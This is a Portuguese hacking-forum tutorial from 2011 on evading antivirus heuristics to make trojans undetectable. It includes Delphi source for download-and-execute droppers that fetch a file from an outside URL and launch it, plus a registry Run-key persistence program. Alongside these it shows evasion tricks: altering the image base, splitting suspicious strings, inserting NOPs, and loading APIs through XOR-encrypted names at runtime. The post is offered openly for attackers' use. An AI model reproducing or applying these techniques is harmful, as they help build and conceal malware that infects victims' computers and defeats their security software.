Deixando seus Trojans Indetectáveis
Autor: Rafael™ | Publicado: 2011-08-05T14:32:00-07:00

Bom… á pedido de muitos… estou postando aqui um tutorial de “Bypassando a Heurística dos AVs“!
Explicarei com modos fáceis, intermediários e difíceis. A cada método,  explicará, como funciona, o porquê de usar o método, como usa-lo e dará  um exemplo. Tornando assim, muuuuuuuuito fácil de entender! :D
Lembrando… 100% by CriminalHacking
Então… Let’s Code!
Como funciona a Heurística?Um “Heuristic Scan“, funciona, scaneando certas APIs que muitos malwares usam. Por exemplo, a função UrlDownloadToFile();.  Ela é usada para salvar um arquivo da internet, para seu computador. Ou  seja, faz o download do arquivo para seu computador. Isso é muito usado  por Downloaders.
Bypassando a Heurística – Modo Fácil   1. Alterando o “EntryPoint”
  A. O que é?
O EntryPoint é um endereço, que define o endereço base de mapeamento na memória.
  B. Porquê?
O porquê de alterar o entrypoit, é que muitos AVs, para serem rápidos e gastarem pouca memória, scaneiam apenas o PE Header (cabeçalho) do executável. Então, alterando ele, automaticamente alterará o PE Header também.
  C. Como?
Para alterar o EntryPoint, é apenas definir {$IMAGEBASE Número} no seu código. Aonde número, é um valor que você define, e pode variar de $00010000 até $7FFFFFFF. O valor padrão é $00400000
D. Exemplo:
                program HazardDownloader;
                {$IMAGEBASE $0026589541}
                uses
Windows, ShellApi, UrlMon;
                const
URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
ShellExecute(0, ‘open‘, Arquivo, nil, nil, SW_SHOWNORMAL);
end.2. Dividindo as Strings principais
A. O que é?
Dividir as Strings principais, consiste em dividir uma String, que pode ser usada pelo AV para detectar seu arquivo.
B. Porquê?
Divindo-as, dificulta a vida dos AVs porquê quando o programa for compilado, elas não vão ficar “uma ao lado da outra”.
C. Como?
Simples! É apenas pegar a String, e literalmente separá-la em diversas.
D. Exemplo:
program HazardAutoRun;
uses
Windows;
const
 Chave = ‘SOFT‘+’WARE\Mi‘+’cros‘+’oft\Wi‘+’ndows\’+’Current‘+’Vers’+’ion\Run‘;
 Nome = ‘HazardAutoRun’;
 var
 RegKey: HKey;
Valor: String;
 begin
Valor:=ParamStr(0);
RegCreateKey(HKEY_LOCAL_MACHINE, Chave, RegKey);
RegSetValueEx(RegKey, Nome, 0, REG_EXPAND_SZ, PChar(Valor), Length(Valor));
RegCloseKey(RegKey);
 end.Bypassando a Heurística – Modo Intermediário1. Inserindo NOPs
  A. O que é?
NOP, é uma instrução Assembly para a família Intel x86 CPU. Deriva de “No OPeration”, ou seja, sem operação.
B. Porquê?
Inserir NOPs, dificulta um pouco a heurística dos AVs, porquê “separa” as instruções.
C. Como?
É apenas abrir um asm e inserir o NOP nele entre, ou no começo, das funções que possam serem detectadas.
D. Exemplo:
program HazardDownloaderNOP;
uses
Windows, ShellApi, UrlMon;
const
 URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
 begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
 asm
nop
 end;
ShellExecute(0, ‘open’, Arquivo, nil, nil, SW_SHOWNORMAL);
 end.Bypassando a Heurística – Modo Difícil1. Carregando funções com GetProcAddress(); Encriptada
A. O que é?
Carregar funções com a função GetProcAddress(); encriptada, baseia-se na  idéia de carregar a função dinamicamente, e o nome da função é  desencriptado em run-time.
B. Porquê?
Assim, se o AV scanear apenas o arquivo, ele não achará nada. Apenas  achará se ele scanear a memória do processo. Deixando assim, um  pouquinho mais difícil para os AVs. :D
C. Como?
É apenas carregar a função com o a função GetProcAddres();, e usar algum  tipo de encriptação, para encriptar o nome da função, e na hora de  chamar, desencriptar a string.
 D. Exemplo:
program HazardDownloaderCrypted;
uses
Windows, ShellApi, URLMon;
type
TDownload2File=function(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;
function Encriptar(Str: String): String;
 const
Key=’q8b2x74h851xk’;
 var
Y, Z: Integer;
B: Byte;
 begin
Z:=1;
for Y:=1 to Length(Str) do
 begin
B:=(Ord(Str[Y]) and $0f) xor (Ord(Key[Z]) and $0f);
B:=B xor 10;
Str[Y]:=Char((Ord(Str[Y]) and $f0)+B);
Inc(Z);
if Z&gt;Length(Key) then Z:=1;
 end;
Result:=Str;
 end;
const
URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
 var
Download2File: TDownload2File;
 begin
Download2File:=GetProcAddress(LoadLibrary(‘URLMON.DLL‘), PChar(Encriptar(‘^PDLmz`nmnoVnMkdmC‘)));
Download2File(nil, URL, Arquivo, 0, nil);
ShellExecute(0, ‘open‘, Arquivo, nil, nil, SW_SHOWNORMAL);
end.Bom… é isso… espero que tenham gostado.